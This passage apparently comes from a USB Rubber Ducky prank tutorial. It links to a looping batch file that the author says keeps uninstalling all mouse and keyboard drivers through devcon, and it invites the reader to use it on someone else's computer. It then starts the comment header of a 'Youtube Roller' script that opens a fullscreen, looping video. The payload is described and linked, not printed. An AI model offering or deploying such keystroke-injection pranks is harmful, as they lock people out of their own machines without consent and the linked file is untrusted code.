Side note: If you want to be a bastard and prevent them from using any mouse and keyboard at all until they restart here is the link to a looping version of the batch file: https://www.dropbox.com/s/czlyh93ga3myb8m/TheRealAnnoyance.bat?dl=0
It continually does a devcon command to uninstall all mouse and keyboard drivers--even if they were just installed.
To use it just replace the other one with this one. Mind you: if you run this on your computer you WILL NOT be able to do anything unless you restart you computer or you have a weird-ass way of controlling your computer without a mouse and keyboard. (Telekinesis?)
REM Aprizm's code for youtube roller begins here. I changed the link to a ctrl-v so that the ducky pastes the contents of WebsiteLink.txt hence line 20: 'type "WebsiteLink.txt" | clip'
REM Title: Youtube Roller
REM Author: Aprizm
REM Description: This scripts opens a youtube video in fullscreen and puts the browser in fullscreen
REM Option : if you change the link of the video dont forget to change the watch with watch_popup to have it fullscreen also add &loop=1 at the end to make it loop forever